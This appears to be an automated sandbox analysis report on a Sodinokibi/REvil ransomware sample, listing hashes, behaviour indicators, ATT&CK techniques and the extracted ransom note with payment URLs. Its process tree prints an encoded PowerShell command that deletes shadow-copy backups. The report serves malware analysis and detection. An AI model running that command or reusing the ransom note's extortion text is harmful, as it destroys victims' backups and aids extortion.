sodinokibi | f860a3c27f44b98d953d05da28a474945b308a1b83d83ae7e6d4c20d1c06b30b

Analysis

max time kernel
125s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11-05-2024 20:27

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General

Target

366809d2d9ed25f5cc201660542fa9db_JaffaCakes118.dll
Size

166KB
MD5

366809d2d9ed25f5cc201660542fa9db
SHA1

9ee1d0ed426c36a0cd5df47d954ca39c892ede35
SHA256

f860a3c27f44b98d953d05da28a474945b308a1b83d83ae7e6d4c20d1c06b30b
SHA512

04cc3fe1b01b760c8f7f28ecfbb704989252346768656c11fa28878e0738ffcea50c4d023290f8cf61d9e944b3a4312275b34ede0dc8a39c67eb316c40d54592
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QlGLMlPso:NJ0BXScFyfC3Hd4ygMS0

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\d4q8h-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension d4q8h. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3822E06E9D7CAEBA 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3822E06E9D7CAEBA Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: b0Qh5hwgs0n9wh5VEYpnn0dJfe7B5hZ4U/N6PJMKXKlDeINRM/Lnm7P/wgevb2Xs 2BT+BU2g5nquK4+UPT7wuWPow3weoeT04ALJRN7vzn5RRyECIsVlakdP5UX56uiF iw8bxIk5IaHHvjGulpcTrPLEx5Dh5f04xWuk09uGBGiTl26nsz/CLUNbotQ/LKx6 pIo/RLw/tXpQtwBMdX1vqufNboVnUBVod+07EXcb5o3dWd0HgWw26V4GYzjmANoR FgvlmuX3Pjtptj6u+pkMpj8U0SdjfXSUh8gFplJSjuPFHA53Ow4ujSyZIvJLH0Nu hmX2MuhhnzqH6ZONGNjG+j/GT4wMuWTCJ1b+SOeXPVZEZifE78Lrz0NXWjqCOfY8 SWqHV5eJ7WbXZ9wI6a08Uu6rGOLC5sux3PINeNZ3Xp0Shha4mUdizpkvjt6GxBhX FJP0XsdjuSNYtBQbJLdsbA0IlfA4OpfdgKYtuR214N5gXeavHnfmolJhvgx0qmAe 0MHLAc96OGUvrh9K1v7sOOX5tuBSLTgio8B/h8tmhAeefHKhlCYgLaeB/JZCSN91 UJfjNFq9T8vFfjR9Ury4DOtxl9WqJFVOIPkHwO8W6Pu524oPuGojn0mc+WWLX8An yIzluuH+s4VR81fYm7Q3vcTf2Q9vswtAA9wSJt8mEO2Exfurm4WGt+BtVL1y0HfT 6sCUsrrO3AFCNL1hcHAeLTtbXj7JhM28MlTveJ9N3aFet3jwKG5mIyb+AiXnXAoN ArfTFMER8NXHCgJNYxyij1qlLsPej7LFHpzN6S3//nDrjDkBYOBwK2RVcCBBA1LX asKOQBSQTwC1X+NkQh91+QiifVRQMxDmrvoyhPFm5byF9eY9UY3cNXUW8wLrF4y+ M7/nvxvFhamqyOe3EBpmG6QQn0umkB+iRoVbccppK5BuN6wk9c/cnrcVLki4G6Da J6xAHh/TA/xMHYax+24MD1+KV45gOW7rSNZE3ieyGIL13GUXAL0PDI1T/QWikxKL J5qrvIa9dFj35ytBJbh+gt6aMuyHHIlbOmo5yE8KvEJcdZflU/d87+FCZntmY8Nn RcgF5WQmSj6ejVeGJFG6tM3Wj1yKdxAM/kEfqvSb+UcUv10YC/BgScxQXfTbWf9Q ohUKf0hqwzdM7P2+TIyVaceByp9lW9ons/zzRAoUdId3EprzxWZUACmnHmaL6pHB OXpAWeksmBJxD8O5+buea5CSDNfzS+y/8mQUR/C4nK6L0DfUe1CFb+5fXBkk/mZy BlMDSkz6Bt3jXgbJgqh7ksCBp4GodH2Ug1MGn9CTbG61+A9s/GgaQt4ruh2WzbHE WuZe8KY/NlUZjvtqxgexZwf2L0ajKsJH++sGQ1FNWfj3ZdRL ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3822E06E9D7CAEBA

http://decryptor.cc/3822E06E9D7CAEBA

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe

Drops file in Program Files directory 37 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ProtectFormat.nfo	rundll32.exe
File opened for modification	\??\c:\program files\ResolveStep.contact	rundll32.exe
File opened for modification	\??\c:\program files\SkipRedo.rm	rundll32.exe
File opened for modification	\??\c:\program files\ClearResume.au3	rundll32.exe
File opened for modification	\??\c:\program files\SplitImport.pdf	rundll32.exe
File opened for modification	\??\c:\program files\UnregisterInvoke.M2TS	rundll32.exe
File opened for modification	\??\c:\program files\ConnectGet.ttc	rundll32.exe
File opened for modification	\??\c:\program files\FormatWatch.m4a	rundll32.exe
File opened for modification	\??\c:\program files\InvokeUnregister.php	rundll32.exe
File opened for modification	\??\c:\program files\PublishConvertTo.3gp	rundll32.exe
File opened for modification	\??\c:\program files\RegisterProtect.DVR	rundll32.exe
File opened for modification	\??\c:\program files\ResumeSet.mpeg3	rundll32.exe
File opened for modification	\??\c:\program files\PushSwitch.htm	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectEnter.asx	rundll32.exe
File opened for modification	\??\c:\program files\ResolveRead.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\SearchOptimize.mpv2	rundll32.exe
File created	\??\c:\program files\d4q8h-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ClearRequest.7z	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectReceive.midi	rundll32.exe
File opened for modification	\??\c:\program files\EnterSubmit.pub	rundll32.exe
File opened for modification	\??\c:\program files\MountSwitch.vst	rundll32.exe
File opened for modification	\??\c:\program files\RedoUninstall.asf	rundll32.exe
File opened for modification	\??\c:\program files\SplitConnect.ADT	rundll32.exe
File opened for modification	\??\c:\program files\CompleteRename.html	rundll32.exe
File opened for modification	\??\c:\program files\CompleteSelect.midi	rundll32.exe
File opened for modification	\??\c:\program files\NewSubmit.csv	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveApprove.odt	rundll32.exe
File opened for modification	\??\c:\program files\SuspendMove.contact	rundll32.exe
File opened for modification	\??\c:\program files\EnableLock.ini	rundll32.exe
File opened for modification	\??\c:\program files\JoinImport.m1v	rundll32.exe
File opened for modification	\??\c:\program files\UnregisterMount.mhtml	rundll32.exe
File created	\??\c:\program files (x86)\d4q8h-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmCopy.mpv2	rundll32.exe
File opened for modification	\??\c:\program files\ExpandEnter.wma	rundll32.exe
File opened for modification	\??\c:\program files\OutInitialize.emz	rundll32.exe
File opened for modification	\??\c:\program files\SwitchUpdate.WTV	rundll32.exe
File opened for modification	\??\c:\program files\WatchUninstall.wm	rundll32.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1328	rundll32.exe
1328	rundll32.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1328	rundll32.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeBackupPrivilege	936	vssvc.exe
Token: SeRestorePrivilege	936	vssvc.exe
Token: SeAuditPrivilege	936	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 1328	2848	rundll32.exe	90
PID 2848 wrote to memory of 1328	2848	rundll32.exe	90
PID 2848 wrote to memory of 1328	2848	rundll32.exe	90
PID 1328 wrote to memory of 1952	1328	rundll32.exe	95
PID 1328 wrote to memory of 1952	1328	rundll32.exe	95

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\366809d2d9ed25f5cc201660542fa9db_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\366809d2d9ed25f5cc201660542fa9db_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1952

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4128

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:936

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4340,i,17096020621006928097,15544233752327415349,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:8
1⤵
PID:852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dcduboq4.bpt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\d4q8h-readme.txt

Filesize
6KB

MD5
52fbf84fb104cbe905f1bca6b68766a7

SHA1
c009e7398a90834fc20482b4529c64ef86a33de0

SHA256
144a877b5348e116464ab3e34f50dbf49fb63390e11adfed6d1b01c4e58d6e57

SHA512
089d710750a2f38cea0259067c61726d95b51fd5fd3e6cef97a160eab58d269750107699abac976e3248c9941c67619f860c9da31a0763786780dff06157c2c2

Download Submit
memory/1952-0-0x00007FFCBB733000-0x00007FFCBB735000-memory.dmp

Filesize
8KB

Download
memory/1952-6-0x00000234D0270000-0x00000234D0292000-memory.dmp

Filesize
136KB

Download
memory/1952-11-0x00007FFCBB730000-0x00007FFCBC1F1000-memory.dmp

Filesize
10.8MB

Download
memory/1952-12-0x00007FFCBB730000-0x00007FFCBC1F1000-memory.dmp

Filesize
10.8MB

Download
memory/1952-15-0x00007FFCBB730000-0x00007FFCBC1F1000-memory.dmp

Filesize
10.8MB

Download